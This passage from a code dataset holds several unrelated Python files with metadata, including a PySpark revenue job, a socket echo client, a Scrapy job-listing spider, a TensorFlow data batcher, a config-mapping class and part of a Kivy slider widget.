results\n \"\"\"\n\n # Create Dataframe from source\n hit_level_df = csv_read(spark, data_schema(), job_args['source']).cache()\n\n logger.info(f\"Corrupt Recoreds Received: {hit_level_df.filter(hit_level_df._corrupt_record.isNotNull()).count()}\")\n\n # Only capture records that are not corrupt\n hit_level_df = hit_level_df.filter(hit_level_df._corrupt_record.isNull()).drop(hit_level_df._corrupt_record)\n\n logger.info(f\"Records Processed: {hit_level_df.count()}\")\n\n # Handle the Product List column\n hit_level_df = unpack_product_list(hit_level_df)\n\n # Parse the keyword used in the referrer URL\n hit_level_df = capture_search_keyword(hit_level_df)\n\n # Set empty spaces in a cell to NULL\n for column in hit_level_df.columns:\n hit_level_df = hit_level_df.withColumn(column, when(col(column) == '', None).otherwise(col(column)))\n\n # Use window function to help do operations within the \"ip\" partition(aka group).\n window_spec = Window.partitionBy(hit_level_df[\"ip\"]).orderBy(hit_level_df[\"hit_time_gmt\"])\n hit_level_df = hit_level_df.select(first(\"search_engine_domain\", ignorenulls=True).over(window_spec).alias(\"Search Engine Domain\"),\n first(\"search_keyword\", ignorenulls=True).over(window_spec).alias(\"Search Keyword\"),\n last(\"pl_total_revenue\", ignorenulls=True).over(window_spec).alias(\"Revenue\"))\\\n .where(col(\"event_list\")==1).orderBy(\"Revenue\", ascending=False)\n\n return hit_level_df\n\n\ndef main(main_args: list) -> None:\n \"\"\"\n Search Engine Revenue calculator main method. It create the session and calls the run_job method to\n calculate the results. The results are then saved as a CSV file in the target(argument passed in) folder path.\n :param main_args: Contains arguments passed into the spark-submit(source, target, app_name)\n :return: None\n \"\"\"\n logger = Logger.get_logger(os.path.splitext(os.path.basename(__file__))[0])\n\n logger.info(f\"main_args: {main_args}\")\n\n # Use general arg parser list to specify the arguments being passed\n job_args = vars(ArgParser.general_arg_parser_list().parse_args(main_args[1:]))\n\n logger.info(f\"Type job_args: {type(job_args)}\")\n logger.info(f\"Job Args: {job_args}\")\n\n try:\n # Create a spark session\n spark = SparkSession.builder.appName(job_args[\"app_name\"]).getOrCreate()\n\n # Run the Datatransform\n search_engin_rev_results_df = run_job(spark, logger, job_args)\n\n # Store the file in a tsv format\n search_engin_rev_results_df.toPandas().to_csv(job_args['target']+\"/\"+ datetime.now().strftime(\"%Y-%m-%d\") + '_SearchKeywordPerformance.tsv', sep=\"\\t\")\n\n # Example of how to store it in a excel file\n #pandas_df_list = []\n #pandas_df_list.append((\"Search Engin Rev Results\", search_engin_rev_results_df.toPandas()))\n #create_excel_spreadsheet(pandas_df_list, job_args['target'])\n\n except Exception as ex:\n\n logger.error(ex)\n\n raise\n\nif __name__ == \"__main__\":\n import sys\n\n sys.exit(main(sys.argv))\n","sub_path":"adobe/omniture/se_revenue/se_revenue_driver.py","file_name":"se_revenue_driver.py","file_ext":"py","file_size_in_byte":7977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139244138","text":"\nimport socket\nimport sys\nimport traceback\n\n\ndef client(msg, log_buffer=sys.stderr):\n ''' client socket that will send a message and receive a reply,\n :param msg: msg to be sent to server\n :param log_buffer:\n :return: msg received from server\n '''\n # Connect the socket to the port where the server is listening\n server_address = ('localhost', 10000)\n # Create a TCP/IP socket\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)\n sock.connect(server_address)\n print('connecting to {0} port {1}'.format(*server_address), file=log_buffer)\n # Send data\n message = b''\n try:\n print('sending \"{0}\"'.format(msg), file=log_buffer)\n # sock.sendall(message)\n # # Look for the response\n # amount_received = 0\n # amount_expected = len(message)\n # while amount_received < amount_expected:\n # data = sock.recv(16)\n # amount_received += len(data)\n sock.sendall(msg.encode('utf8'))\n buffersize = 16\n chunk = ''\n done = False\n while not done:\n chunk = sock.recv(buffersize)\n # if chunk == msg:\n if len(chunk) < buffersize:\n done = True\n # break\n sock.close()\n message += chunk\n # print('received \"{0}\"'.format(msg.decode('utf8')), file=log_buffer)\n print('received \"{0}\"'.format(chunk))\n except BrokenPipeError as err:\n traceback.print_exc(err)\n sys.exit(1)\n finally:\n print('closing socket', file=log_buffer)\n sock.close()\n return message.decode('utf')\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n USAGE = '\\nusage: python echo_client.py \"this is my message\"\\n'\n print(USAGE, file=sys.stderr)\n sys.exit(1)\n\n MSG = sys.argv[1]\n client(MSG)\n","sub_path":"echo_client_v2.py","file_name":"echo_client_v2.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"549543031","text":"# def test(title, location):\r\n# \tname = 'stackoverflow'\r\n# \ttitle = title.replace(\" \", \"+\")\r\n# \tlocation = location.replace(\" \", \"+\").replace(\",\", \"%2C\")\r\n# \tstart_urls = ['http://www.indeed.com/jobs?q=' + title + '&l=' + location]\r\n# \treturn start_urls\r\n\r\n# print test(\"full stack\", \"Seattle WA\")\r\n\r\nimport scrapy\r\n\r\nclass DiceSpider(scrapy.Spider):\r\n\tname = 'dice'\r\n\t# start_urls = ['https://www.dice.com/jobs?q=full+stack&l=Seattle%2C+WA']\r\n\tstart_urls = ['https://www.dice.com/jobs/q-full+stack+developer-limit-120-jobs.html']\r\n\r\n\tdef parse(self, response):\r\n\t\tpage = 1\r\n\t\twhile response.css('.serp-result-content h3 a::attr(href)') and page < 2:\r\n\t\t\turl = 'https://www.dice.com/jobs/q-full+stack+developer-startPage-'+str(page)+'-limit-120-jobs'\r\n\t\t\tyield scrapy.Request(url, callback=self.parse_page)\r\n\t\t\tpage += 1\r\n\r\n\tdef parse_page(self, response):\r\n\t\tfor href in response.css('.serp-result-content h3 a::attr(href)'):\r\n\t\t\tfull_url = response.urljoin(href.extract())\r\n\t\t\tyield scrapy.Request(full_url, callback=self.parse_job)\r\n\r\n\tdef parse_job(self, response):\r\n\t yield {\r\n\t\t\t'title': response.css('.jobTitle::text').extract()[0],\r\n\t\t\t'skills': response.css('.iconsiblings::text').extract()[0],\r\n\t\t\t'salary': response.css('.mL20::text').extract()[0],\r\n\t\t\t'location': response.css('.location::text').extract()[0],\r\n\t\t\t'posted': response.css('.posted::text').extract()[0],\r\n\t\t\t# 'description': response.css('#jobdescSec').extract()[0],\r\n\t\t\t# 'travel': response.css('.iconsiblings').extract()[2],\r\n\t\t\t# 'tags': response.css('.question .post-tag::text').extract(),\r\n\t\t\t# 'link': response.url,\r\n\r\n\r\n\t\t}\r\n# https://www.dice.com/jobs/q-full+stack+developer-startPage-limit-120-jobs.html\r\n# response.css('.posiCount span::text').extract()[3]\r\n","sub_path":"draft.py","file_name":"draft.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"585012835","text":"from argparse import ArgumentParser\n\n\ndef build_argparser():\n parser = ArgumentParser()\n parser.add_argument(\n \"--model-dir\",\n type=str,\n default=\"${USERPROFILE}/Documents/Intel/OpenVINO/openvino_models/models/intel\",\n help=\"Path to intel model deirectory e.g ...openvino_models/models/intel\",\n )\n parser.add_argument(\n \"--device\",\n type=str,\n default=\"CPU\",\n help=\"Device for running inference e.g CPU GPU etc.\",\n )\n parser.add_argument(\n \"--precision\",\n type=str,\n default=\"FP32\",\n help=\"Precision FP32, FP16 or INT8 only.\",\n )\n parser.add_argument(\n \"--input-type\",\n type=str,\n default=\"cam\",\n help=\"Input Type cam, video or image only.\",\n )\n parser.add_argument(\n \"--input-file\",\n type=str,\n required=False,\n help=\"Input video or image file absolute path.\",\n )\n parser.add_argument(\n \"--inspect\",\n default=False,\n action=\"store_true\",\n help=\"Inspect outputs of the intermediate models.\",\n )\n return parser\n","sub_path":"src/app_args.py","file_name":"app_args.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"336735630","text":"import ast\n\n\nclass VarAst:\n \"\"\"\n class that extract the variable from the ast statement\n \"\"\"\n def __init__(self, ast_stmt):\n self.ast_stmt = ast_stmt\n self.left_operand, self.right_operand = None, None\n self.targets_var = []\n self.values_var = []\n self.targets_var, self.values_var, self.target_op, self.body_op = self.get_var_ast(ast_stmt)\n\n def get_target(self):\n return self.targets_var[0] if len(self.targets_var) != 0 else None\n\n def get_var_ast(self, ast_stmt):\n targets, values = [], []\n target_op = ast_stmt.__class__.__name__\n body_op = None\n\n if isinstance(ast_stmt, ast.Assign):\n targets, values, body_op = self.get_var_ast_assign(ast_stmt)\n elif isinstance(ast_stmt, ast.If) or isinstance(ast_stmt, ast.While):\n targets, values, body_op = self.get_var_ast_if_while(ast_stmt)\n elif isinstance(ast_stmt, ast.Return):\n targets, values, body_op = self.get_var_ast_return(ast_stmt)\n\n return targets, values, target_op, body_op\n\n def get_var_ast_bin_op(self, ast_bin_op):\n values = []\n if isinstance(ast_bin_op.left, ast.Name):\n values.append(ast_bin_op.left.id)\n self.left_operand = ast_bin_op.left.id\n\n elif isinstance(ast_bin_op.left, ast.Num):\n self.left_operand = ast_bin_op.left.n\n\n if isinstance(ast_bin_op.right, ast.Name):\n values.append(ast_bin_op.right.id)\n self.right_operand = ast_bin_op.right.id\n\n elif isinstance(ast_bin_op.right, ast.Num):\n self.right_operand = ast_bin_op.right.n\n\n return values, ast_bin_op.op.__class__.__name__\n\n def get_var_ast_tuple(self, ast_tuple):\n return [value.id for value in ast_tuple.elts]\n\n def get_var_ast_assign(self, ast_assign):\n targets, body_op, values = [], None, []\n if isinstance(ast_assign.targets[0], ast.Name):\n targets = [ast_assign.targets[0].id]\n else:\n targets = [tar.id for tar in ast_assign.targets[0].elts]\n\n if isinstance(ast_assign.value, ast.BinOp):\n values, body_op = self.get_var_ast_bin_op(ast_assign.value)\n\n elif isinstance(ast_assign.value, ast.Name):\n self.left_operand = ast_assign.value.id\n values.append(ast_assign.value.id)\n\n elif isinstance(ast_assign.value, ast.Tuple):\n values = self.get_var_ast_tuple(ast_assign.value)\n\n elif isinstance(ast_assign.value, ast.Num):\n self.left_operand = ast_assign.value.n\n\n elif isinstance(ast_assign.value, ast.UnaryOp):\n values, body_op = self.get_var_ast_unary_op(ast_assign.value)\n\n elif isinstance(ast_assign.value, ast.Compare):\n values, body_op = self.get_var_ast_compare(ast_assign.value)\n\n return targets, values, body_op\n\n def get_var_ast_compare(self, ast_compare):\n values = []\n if isinstance(ast_compare.left, ast.Name):\n values.append(ast_compare.left.id)\n self.left_operand = ast_compare.left.id\n\n elif isinstance(ast_compare.left, ast.Num):\n self.left_operand = ast_compare.left.n\n\n if isinstance(ast_compare.comparators[0], ast.Name):\n self.right_operand = ast_compare.comparators[0].id\n values.append(ast_compare.comparators[0].id)\n \n elif isinstance(ast_compare.comparators[0], ast.Num):\n self.right_operand = ast_compare.comparators[0].n\n\n return values, ast_compare.ops[0].__class__.__name__\n\n def get_var_ast_if_while(self, ast_if):\n targets, values = [], []\n values, op = self.get_var_ast_compare(ast_if.test)\n return targets, values, op\n\n def get_var_ast_unary_op(self, ast_unary):\n values = []\n if isinstance(ast_unary.operand, ast.Name):\n values.append(ast_unary.operand.id)\n self.right_operand = ast_unary.operand.id\n\n elif isinstance(ast_unary.operand, ast.Num):\n self.right_operand = ast_unary.operand.n\n\n return values, ast_unary.op.__class__.__name__\n\n def get_var_ast_return(self, ast_return):\n values = []\n body_op = None\n if isinstance(ast_return.value, ast.Name):\n self.left_operand = ast_return.value.id\n values.append(ast_return.value.id)\n elif isinstance(ast_return.value, ast.Num):\n self.left_operand = ast_return.value.n\n values.append(ast_return.value.n)\n elif isinstance(ast_return.value, ast.BinOp):\n values, body_op = self.get_var_ast_bin_op(ast_return.value)\n\n return [], values, body_op\n\n\n\n\n\n","sub_path":"cfg_and_ssa/var_ast.py","file_name":"var_ast.py","file_ext":"py","file_size_in_byte":4706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"626951591","text":"from django.conf.urls import url\nfrom apps.accounts import views\n\napp_name = \"accounts\"\nurlpatterns = [\n url(r'^signup/$', views.SignupView.as_view(), name='signup'),\n url(r'^login/$', views.LoginView.as_view(), name='login'),\n url(r'^logout/$', views.LogoutView.as_view(), name='logout'),\n url(r'^update_profile/$', views.UpdateProfileView.as_view(), name='update_profile'),\n url(r'^create_team/(?P<challenge_id>[0-9]+)$', views.create_team, name='create_team'),\n url(r'^activate/(?P<uidb64>[0-9A-Za-z_\\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',\n views.activate, name='activate'),\n url(r'^create_team/success_create_team$', views.success_create_team, name='success_create_team'),\n url(r'^panel/(?P<participation_id>[0-9]+)?$', views.team_management, name='panel'),\n url(r'^panel/accept_participation/(?P<participation_id>[0-9]+)$', views.accept_participation,\n name='accept_participation'),\n url(r'^panel/reject_participation/(?P<participation_id>[0-9]+)$', views.reject_participation,\n name='reject_participation'),\n url(r'^panel/cancel_participation/(?P<participation_id>[0-9]+)/(?P<user_id>[0-9]+)$',\n views.cancel_participation_request, name='cancel_participation_request'),\n url(r'^panel/add_participation/(?P<participation_id>[0-9]+)$', views.add_participation,\n name='add_participation'),\n url(r'^panel/set_final_submission/(?P<submission_id>[0-9]+)', views.set_final_submission,\n name='set final submission'),\n url(r'^activate/(?P<uidb64>[0-9A-Za-z_\\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',\n views.activate, name='activate'),\n url(r'^email_sent$', views.email_sent, name='email_sent'),\n url(r'^email_confirm$', views.email_confirm, name='email_confirm'),\n url(r'^email_invalid$', views.email_invalid, name='email_invalid'),\n url(r'^challenge_a_team/(?P<participation_id>\\d+)$', views.challenge_a_team, name='challenge_a_team'),\n\n url(r'^panel/submissions', views.submissions, name='panel_submissions'),\n url(r'^panel/team$', views.team_management, name='panel_team_management'),\n url(r'^panel/bhistory', views.battle_history, name='panel_battle_history'),\n url(r'^panel/teampc/(?P<team_pc>\\d+)$', views.change_team_pc, name='panel_change_team_pc')\n]\n","sub_path":"apps/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"624250897","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# https://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =========================================================================\n\nimport dna_io\nimport tensorflow as tf\n\n\ndef tfrecord_dataset(tfr_data_file, batch_size, seq_length, seq_depth,\n num_targets, target_width, shuffle, trim_eos):\n \"\"\"Load TFRecord format data.\n\n Args:\n tfr_data_file: TFRecord format file\n batch_size: batch_size\n seq_length: length of input sequence\n seq_depth: vocabulary size of the inputs (4 for raw DNA)\n num_targets: number of targets at each target sequence location\n target_width: length of the target sequence\n shuffle: whether the batcher should shuffle the data\n trim_eos: whether to trim the final token from the inputs\n Returns:\n A dict with the following tensors:\n sequence: [batch_size, sequence_length, seq_depth]\n label: [batch_size, num_targets, target_width]\n na: [batch_size, num_targets]\n \"\"\"\n inputs_name = 'inputs'\n targets_name = 'targets'\n\n dataset = tf.contrib.data.TFRecordDataset([tfr_data_file])\n features = {\n inputs_name: tf.VarLenFeature(tf.int64),\n targets_name: tf.VarLenFeature(tf.float32)\n }\n if (trim_eos):\n seq_length += 1\n\n def _parse(example_proto):\n\n parsed_features = tf.parse_single_example(example_proto, features=features)\n\n seq = tf.cast(parsed_features[inputs_name].values, tf.int32)\n\n seq = tf.reshape(seq, [seq_length])\n if (trim_eos):\n # useful because tensor2tensor preprocessing pads with an EOS\n seq = seq[:-1]\n\n seq = tf.one_hot(seq, seq_depth)\n\n label = tf.cast(parsed_features[targets_name].values, tf.float32)\n\n seq_n = tf.cast(tf.equal(tf.reduce_sum(seq, axis=1), 0), tf.float32)\n seq = tf.cast(seq, tf.float32)\n\n seq_n /= float(seq_depth)\n seq_n = tf.tile(tf.expand_dims(seq_n, axis=1), [1, seq_depth])\n seq += seq_n\n\n label = tf.reshape(label, [target_width, num_targets])\n na = tf.zeros(label.shape[:-1], dtype=tf.bool)\n\n return {'sequence': seq, 'label': label, 'na': na}\n\n dataset = dataset.map(_parse)\n dataset = dataset.repeat()\n if shuffle:\n dataset.shuffle(buffer_size=150)\n\n if batch_size is None:\n raise ValueError('batch_size is None')\n\n dataset = dataset.batch(batch_size)\n return dataset\n\n\nclass TFRecordBatcher(object):\n \"\"\"Load TFRecord format data. Many args are unused and for API-compatibility.\n\n Args:\n tfr_data_file: TFRecord format file\n load_targets: whether to load targets (unused)\n seq_length: length of the input sequences\n seq_depth: vocabulary size of the inputs (4 for raw DNA)\n target_width: length of the target sequence\n num_targets: number of targets at each target sequence location\n NAf: (unused)\n batch_size: batch_size\n pool_width: width of pooling layers (unused)\n shuffle: whether the batcher should shuffle the data\n trim_eos: whether to trim the final token from the inputs\n \"\"\"\n\n def __init__(self,\n tfr_data_file,\n load_targets,\n seq_length,\n seq_depth,\n target_width,\n num_targets,\n NAf=None,\n batch_size=64,\n pool_width=1,\n shuffle=False,\n trim_eos=True):\n\n self.session = None\n\n dataset = tfrecord_dataset(tfr_data_file, batch_size, seq_length, seq_depth,\n num_targets, target_width, shuffle, trim_eos)\n\n self.iterator = dataset.make_initializable_iterator()\n self._next_element = self.iterator.get_next()\n\n def initialize(self, sess):\n sess.run(self.iterator.initializer)\n\n def next(self, rc=False, shift=0):\n try:\n d = self.session.run(self._next_element)\n\n Xb = d['sequence']\n Yb = d['label']\n NAb = d['na']\n Nb = Xb.shape[0]\n\n # reverse complement\n if rc:\n if Xb is not None:\n Xb = dna_io.hot1_augment(Xb, rc, shift)\n if Yb is not None:\n Yb = Yb[:, ::-1, :]\n if NAb is not None:\n NAb = NAb[:, ::-1]\n\n return Xb, Yb, NAb, Nb\n\n except tf.errors.OutOfRangeError:\n return None, None, None, None\n\n def reset(self):\n return self.initialize(self.session)\n","sub_path":"basenji/tfrecord_batcher.py","file_name":"tfrecord_batcher.py","file_ext":"py","file_size_in_byte":4792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"550945061","text":"# This file contains modified 3rd party source code from\n# https://github.com/drgrib/dotmap\n# The copyright and license agreement can be found in the ThirdPartyNotices.txt file at the root of this repository.\n\nfrom collections import OrderedDict\nfrom inspect import ismethod\nfrom json import dumps\nfrom pprint import pprint\n\nfrom dotmap import DotMap\n\n\ndef config_map(d=None):\n if d is None:\n d = {}\n return ConfigMap(d, _dynamic=False, _evaluate=False, _evaluated=True)\n\n\nclass ConfigMethod(object):\n def __init__(self, obj, method, args, definition):\n self._ = {\"obj\": obj, \"method\": method, \"args\": args, \"definition\": definition}\n\n def evaluate(self):\n # disable config evaluation\n try:\n state = self._[\"obj\"].config._evaluate\n self._[\"obj\"].config._evaluate = False\n # todo: disable for sub-components\n except AttributeError:\n state = None\n\n if self._[\"args\"] == \"\":\n value = getattr(self._[\"obj\"], self._[\"method\"])()\n else:\n # Yes, using eval is evil but in this case I suppose there is not enough at stake to justify\n # the implementation of a proper parser\n obj = self._[\"obj\"] # noqa: F841\n value = eval(\"obj.\" + self._[\"method\"] + \"(\" + self._[\"args\"] + \")\")\n\n # reset config evaluation\n if state is not None:\n self._[\"obj\"].config._evaluate = state\n\n if isinstance(value, dict):\n return ConfigMap(value, _dynamic=False)\n\n return value\n\n def __repr__(self):\n return f\"ConfigMethod(method={self._['obj'].__class__.__name__}.{self._['method']}, args='{self._['args']}')\"\n\n def __str__(self):\n return self.__repr__()\n\n def __call__(self, *args, **kwargs):\n return self.evaluate()\n\n\nclass ConfigMap(DotMap):\n def __init__(self, *args, **kwargs):\n self._map = OrderedDict()\n self._dynamic = True\n self._evaluate = True\n self._evaluated = False\n if kwargs:\n if \"_dynamic\" in kwargs:\n self._dynamic = kwargs[\"_dynamic\"]\n if \"_evaluate\" in kwargs:\n self._evaluate = kwargs[\"_evaluate\"]\n if \"_evaluated\" in kwargs:\n self._evaluated = kwargs[\"_evaluated\"]\n if args:\n d = args[0]\n # for recursive assignment handling\n trackedIDs = {id(d): self}\n if isinstance(d, dict):\n for k, v in self.__call_items(d):\n if isinstance(v, dict):\n if id(v) in trackedIDs:\n v = trackedIDs[id(v)]\n else:\n v = self.__class__(\n v,\n _dynamic=self._dynamic,\n _evaluate=self._evaluate,\n _evaluated=self._evaluated,\n )\n trackedIDs[id(v)] = v\n if type(v) is list:\n lst = []\n for i in v:\n n = i\n if isinstance(i, dict):\n n = self.__class__(\n i,\n _dynamic=self._dynamic,\n _evaluate=self._evaluate,\n _evaluated=self._evaluated,\n )\n lst.append(n)\n v = lst\n self._map[k] = v\n if kwargs:\n for k, v in self.__call_items(kwargs):\n if k not in (\"_dynamic\", \"_evaluate\", \"_evaluated\"):\n self._map[k] = v\n\n def toDict(self, evaluate=None, with_hidden=True):\n if evaluate is None:\n evaluate = bool(self._evaluate)\n d = {}\n for k, v in self.items():\n if (\n with_hidden is False\n and isinstance(k, str)\n and (k.startswith(\"_\") and not k.endswith(\"_\"))\n ):\n continue\n if evaluate and isinstance(v, ConfigMethod):\n v = v.evaluate()\n if issubclass(type(v), DotMap):\n # bizarre recursive assignment support\n if id(v) == id(self):\n v = d\n else:\n v = v.toDict(evaluate=evaluate, with_hidden=with_hidden)\n elif type(v) in (list, tuple):\n l = []\n for i in v:\n n = i\n if issubclass(type(i), DotMap):\n n = i.toDict(evaluate=evaluate, with_hidden=with_hidden)\n l.append(n)\n if type(v) is tuple:\n v = tuple(l)\n else:\n v = l\n d[k] = v\n return d\n\n def pprint(self, pformat=\"json\"):\n if pformat == \"json\":\n print(dumps(self.toDict(), indent=4, sort_keys=True))\n else:\n pprint(self.toDict())\n\n def __call_items(self, obj):\n if hasattr(obj, \"iteritems\") and ismethod(getattr(obj, \"iteritems\")):\n return obj.iteritems()\n else:\n return obj.items()\n\n def copy(self):\n return self.__class__(\n self,\n _dynamic=self._dynamic,\n _evaluate=self._evaluate,\n _evaluated=self._evaluated,\n )\n\n def get_versioning(self):\n return [k[1:] for k in self.keys() if k.startswith(\"~\")]\n\n def get_deep_diff(self, obj, *args, **kwargs):\n from deepdiff import DeepDiff\n\n return DeepDiff(self.toDict(), obj, *args, **kwargs)\n\n def __getitem__(self, k, evaluate=None):\n if (\n k not in self._map\n and self._dynamic\n and k != \"_ipython_canary_method_should_not_exist_\"\n ):\n # automatically extend to new DotMap\n self[k] = self.__class__()\n\n var = self._map[k]\n\n # evaluate\n if evaluate is None:\n evaluate = self._evaluate\n\n if evaluate:\n if isinstance(var, ConfigMethod):\n var = var.evaluate()\n\n return var\n\n def __setattr__(self, k, v):\n if k in {\n \"_map\",\n \"_dynamic\",\n \"_evaluate\",\n \"_evaluated\",\n \"_ipython_canary_method_should_not_exist_\",\n \"get_versioning\",\n \"get_deep_diff\",\n }:\n super(DotMap, self).__setattr__(k, v)\n else:\n self[k] = v\n\n def __getattr__(self, k):\n if k in {\n \"_map\",\n \"_dynamic\",\n \"_evaluate\",\n \"_evaluated\",\n \"_ipython_canary_method_should_not_exist_\",\n \"get_versioning\",\n \"get_deep_diff\",\n }:\n return super(DotMap, self).__getattr__(k)\n\n try:\n v = super(self.__class__, self).__getattribute__(k)\n return v\n except AttributeError:\n pass\n\n return self[k]\n\n\n_reserved_keys = [\"_map\", \"_dynamic\", \"_evaluate\", \"_evaluated\"]\n_used_keys = [\n \"toDict\",\n \"get_deep_diff\",\n \"get_versioning\",\n \"pprint\",\n \"items\",\n \"next\",\n \"empty\",\n \"values\",\n \"parseOther\",\n \"clear\",\n \"copy\",\n \"get\",\n \"has_key\",\n \"keys\",\n \"pop\",\n \"popitem\",\n \"setdefault\",\n \"update\",\n \"fromkeys\",\n \"bannerStr\",\n \"_getSubMapStr\",\n \"_getSubMapDotList\",\n \"_getValueStr\",\n \"_getListStr\",\n]\n","sub_path":"src/machinable/config/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":7658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183130728","text":"# This notebook is designed to allow you to tweak how you might like your walkers initialized. Edit the cells as you see fit and then proceed to evaluate each cell and save the final `pos0.npy` file.\n\nimport numpy as np\n\n\n# Generally, you want at least a few walkers for each dimension you may be exploring. To start with we are only using `4`, but you may want to eventually increase this to `8` or `10` if you have more cores available for computation. For the **vertical** model, there are 13 parameters.\n\nnparam = 13\nnwalkers = 4 * nparam\nprint(nwalkers)\n\n\n# If you are fixing dparmeters, then you should change the previous line to reflect the number of parameters you will be sampling.\n\n# Below, we create an array of starting walker positions, similar to how `emcee` is initialized. You should tweak the `low` and `high` ranges to correspond to a small guess around your starting position.\n\n\np0 = np.array([np.random.uniform(1.03, 1.05, nwalkers), # mass [M_sun]\n np.random.uniform(20., 21.0, nwalkers), #r_c [AU]\n np.random.uniform(30., 40., nwalkers), #T_10m [K]\n np.random.uniform(0.50, 0.55, nwalkers), # q_m\n np.random.uniform(110., 115, nwalkers), #T_10a [K]\n np.random.uniform(0.50, 0.55, nwalkers), # q_a\n np.random.uniform(-3.4, -3.1, nwalkers), #log10 Sigma_c [log10 g/cm^2]\n np.random.uniform(0.17, 0.18, nwalkers), #xi [km/s]\n np.random.uniform(44.0, 46.0, nwalkers), #inc [degrees]\n np.random.uniform(40.0, 41.0, nwalkers), #PA [degrees]\n np.random.uniform(-0.1, 0.1, nwalkers), #vz [km/s]\n np.random.uniform(-0.1, 0.1, nwalkers), #mu_a [arcsec]\n np.random.uniform(-0.1, 0.1, nwalkers)]) #mu_d [arcsec]\n\n# Save the new position file to disk\nnp.save(\"pos0.npy\", p0)\n","sub_path":"assets/initialize_walkers.vertical.py","file_name":"initialize_walkers.vertical.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"219855565","text":"import pandas as pd\ndf_detailed = pd.read_csv('/data/st/Pneumonia_Detection/stage_1_detailed_class_info.csv')\nf_not_normal = open('notnormal.txt', 'a')\nf_normal = open('normal.txt', 'a')\nfor n, row in df_detailed.iterrows():\n if row['class'] == 'No Lung Opacity / Not Normal':\n f_not_normal.write('%s\\n' % row['patientId'])\n elif row['class'] == 'Normal':\n f_normal.write('%s\\n' % row['patientId'])\n\nf_not_normal.close()\nf_normal.close()\n","sub_path":"scripts/generator_txt.py","file_name":"generator_txt.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"412631471","text":"\"\"\" Some notes go here \"\"\"\n\nall__ = ('DoubleCircleSlider',)\n\nfrom kivy.clock import Clock\nfrom kivy.properties import BooleanProperty, ObjectProperty, NumericProperty, StringProperty, ReferenceListProperty\n\nfrom ConcentricUI.behaviours.concentricshapes import ConcentricShapes\nfrom ConcentricUI.circle.circleslider import CircleSlider\nfrom ConcentricUI.oblong.concentricoblongs import ConcentricOblongs\n\n\nclass DoubleCircleSlider(ConcentricShapes):\n # fixme i'd like to have something such that if the two slider values are the same, then each is shifted by half of\n # fixme its width away from each other\n\n integers = BooleanProperty(False)\n decimal_places = NumericProperty()\n\n # not sure how implemented this is\n update_slowdown = NumericProperty()\n\n # not yet implemented\n space_values = NumericProperty()\n\n\n min = CircleSlider.min\n max = CircleSlider.max\n padding = CircleSlider.padding\n orientation = CircleSlider.orientation\n range = CircleSlider.range\n step = CircleSlider.step\n display_value_toggle = CircleSlider.display_value_toggle\n slider_bar_toggle = CircleSlider.slider_bar_toggle\n\n display_value_formatting = CircleSlider.display_value_formatting\n\n min_slider = ObjectProperty()\n max_slider = ObjectProperty()\n\n min_value = NumericProperty()\n max_value = NumericProperty()\n\n values = ReferenceListProperty(min_value, max_value)\n\n closer_widget = ObjectProperty(None, allownone=True)\n\n def on_display_value_toggle(self, wid, bind_text_toggle):\n if self.min_slider and self.max_slider:\n self.min_slider.display_value_toggle = bind_text_toggle\n self.max_value.display_value_toggle = bind_text_toggle\n\n def draw_shape(self, **kwargs):\n return\n\n def __init__(self, **kwargs):\n\n self.min_slider = None\n self.max_slider = None\n self.slider_bar = None\n\n super(DoubleCircleSlider, self).__init__(**kwargs)\n\n if not self.min_value:\n self.min_value = self.range[0]\n elif not self.min <= self.min_value <= self.max:\n raise Exception(\"min value {} out of range {}\".format(self.min_value, self.range))\n if not self.max_value:\n self.max_value = self.range[1]\n elif not self.min <= self.max_value <= self.max:\n raise Exception(\"max value {} out of range {}\".format(self.max_value, self.range))\n\n # self.orientation = kwargs.pop('orientation')\n # self.shape_size_hint_list = kwargs.pop('shape_size_hint_list')\n # self.master_colour = kwargs.pop('master_colour')\n\n self.cursor_size = 0, 0\n self.sensitivity = 'handle'\n\n min_kwargs = {'value': self.min_value,\n 'integers': self.integers,\n 'decimal_places': self.decimal_places,\n 'update_slowdown': self.update_slowdown,\n 'min': self.min,\n 'max': self.max,\n 'padding': self.padding,\n 'orientation': self.orientation,\n # 'range': self.range,\n 'step': self.step,\n 'sensitivity': 'handle',\n 'pos': self.pos,\n 'size': self.size,\n 'text_colour': self.text_colour,\n 'colour_scheme': self.colour_scheme,\n 'master_colour': self.master_colour,\n 'shape_dictionary': self.shape_dictionary,\n 'display_value_toggle': self.display_value_toggle,\n 'display_value_formatting': self.display_value_formatting,\n 'slider_bar_toggle': False,\n 'draw_shape_toggle': 